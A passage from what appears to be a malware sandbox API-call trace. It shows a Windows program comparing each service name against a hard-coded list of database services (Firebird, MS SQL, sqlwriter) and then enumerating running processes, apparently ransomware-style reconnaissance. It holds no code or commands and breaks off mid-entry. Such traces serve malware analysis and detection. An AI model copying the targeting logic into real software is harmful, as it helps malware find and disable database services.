lpString2="BITS") returned 1 [0211.993] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0211.993] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0211.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0211.993] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0211.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0211.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0211.993] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0211.993] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0211.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0211.993] lstrlenW (lpString="CDPSvc") returned 6 [0211.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0211.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0211.993] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0211.993] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0211.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0211.994] lstrlenW (lpString="ClickToRunSvc") returned 13 [0211.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0211.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0211.994] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0211.994] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0211.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0211.994] lstrlenW (lpString="ClipSVC") returned 7 [0211.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0211.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0211.994] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0211.994] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0211.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0211.994] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0211.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0211.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0211.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0211.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0211.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0211.994] lstrlenW (lpString="CryptSvc") returned 8 [0211.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0211.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0211.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0211.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0211.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0211.994] lstrlenW (lpString="DcomLaunch") returned 10 [0211.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0211.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0211.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0211.995] lstrlenW (lpString="Dhcp") returned 4 [0211.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0211.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0211.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0211.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0211.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0211.995] lstrlenW (lpString="Dnscache") returned 8 [0211.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0211.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0211.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0211.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0211.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0211.995] lstrlenW (lpString="DoSvc") returned 5 [0211.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0211.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0211.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0211.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0211.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0211.995] lstrlenW (lpString="DPS") returned 3 [0211.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0211.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0211.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0211.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0211.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0211.995] lstrlenW (lpString="DusmSvc") returned 7 [0211.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0211.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0211.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0211.996] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0211.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0211.996] lstrlenW (lpString="EventLog") returned 8 [0211.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0211.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0211.996] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0211.996] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0211.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0211.996] lstrlenW (lpString="EventSystem") returned 11 [0211.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0211.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0211.996] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0211.996] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0211.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0211.996] lstrlenW (lpString="FontCache") returned 9 [0211.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0211.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0211.996] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0211.996] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0211.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0211.996] lstrlenW (lpString="gpsvc") returned 5 [0211.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0211.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0211.996] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0211.996] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0211.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0211.996] lstrlenW (lpString="iphlpsvc") returned 8 [0211.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.996] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0211.996] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0211.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0211.997] lstrlenW (lpString="KeyIso") returned 6 [0211.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0211.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0211.997] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0211.997] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0211.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0211.997] lstrlenW (lpString="LanmanServer") returned 12 [0211.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0211.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0211.997] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0211.997] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0211.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0211.997] lstrlenW (lpString="LanmanWorkstation") returned 17 [0211.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.997] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0211.997] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0211.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0211.997] lstrlenW (lpString="lfsvc") returned 5 [0211.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0211.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0211.997] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0211.997] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0211.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0211.997] lstrlenW (lpString="LicenseManager") returned 14 [0211.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0211.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0211.997] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0211.997] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0211.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0211.997] lstrlenW (lpString="lmhosts") returned 7 [0211.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0211.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0211.998] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0211.998] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0211.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0211.998] lstrlenW (lpString="LSM") returned 3 [0211.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0211.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0211.998] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0211.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0211.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0211.998] lstrlenW (lpString="MpsSvc") returned 6 [0211.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0211.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0211.998] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0211.998] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0211.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0211.998] lstrlenW (lpString="NcbService") returned 10 [0211.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0211.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0211.998] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0211.998] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0211.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0211.998] lstrlenW (lpString="netprofm") returned 8 [0211.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0211.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0211.998] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0211.998] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0211.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0211.998] lstrlenW (lpString="NlaSvc") returned 6 [0211.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0211.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0211.999] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0211.999] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0211.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0211.999] lstrlenW (lpString="nsi") returned 3 [0211.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0211.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0211.999] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0211.999] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0211.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0211.999] lstrlenW (lpString="PcaSvc") returned 6 [0211.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0211.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0211.999] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0211.999] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0211.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0211.999] lstrlenW (lpString="PlugPlay") returned 8 [0211.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0211.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0211.999] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0211.999] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0211.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0211.999] lstrlenW (lpString="Power") returned 5 [0211.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0211.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0211.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0211.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0211.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0211.999] lstrlenW (lpString="ProfSvc") returned 7 [0211.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0211.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0211.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0211.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0212.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0212.000] lstrlenW (lpString="RpcEptMapper") returned 12 [0212.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.000] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0212.000] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0212.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0212.000] lstrlenW (lpString="RpcSs") returned 5 [0212.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0212.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0212.000] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0212.000] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0212.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0212.000] lstrlenW (lpString="SamSs") returned 5 [0212.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0212.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0212.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0212.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0212.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0212.000] lstrlenW (lpString="Schedule") returned 8 [0212.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0212.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0212.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0212.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0212.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0212.000] lstrlenW (lpString="SecurityHealthService") returned 21 [0212.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0212.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0212.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0212.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0212.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0212.000] lstrlenW (lpString="SENS") returned 4 [0212.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0212.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0212.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0212.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0212.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0212.001] lstrlenW (lpString="ShellHWDetection") returned 16 [0212.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0212.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0212.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0212.001] lstrlenW (lpString="Spooler") returned 7 [0212.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0212.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0212.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0212.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0212.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0212.001] lstrlenW (lpString="SSDPSRV") returned 7 [0212.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0212.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0212.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0212.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0212.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0212.001] lstrlenW (lpString="StateRepository") returned 15 [0212.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0212.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0212.001] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0212.001] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0212.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0212.001] lstrlenW (lpString="SysMain") returned 7 [0212.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0212.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0212.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0212.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0212.001] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0212.001] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0212.005] Process32FirstW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.006] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.007] lstrlenW (lpString="System") returned 6 [0212.007] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.007] lstrlenW (lpString="smss.exe") returned 8 [0212.007] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.008] lstrlenW (lpString="csrss.exe") returned 9 [0212.008] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.009] lstrlenW (lpString="wininit.exe") returned 11 [0212.009] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.010] lstrlenW (lpString="csrss.exe") returned 9 [0212.010] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.011] lstrlenW (lpString="winlogon.exe") returned 12 [0212.011] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.012] lstrlenW (lpString="services.exe") returned 12 [0212.012] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.012] lstrlenW (lpString="lsass.exe") returned 9 [0212.012] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.013] lstrlenW (lpString="svchost.exe") returned 11 [0212.013] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0212.014] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0212.014] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0212.015] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0212.015] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.016] lstrlenW (lpString="svchost.exe") returned 11 [0212.016] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.017] lstrlenW (lpString="dwm.exe") returned 7 [0212.017] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 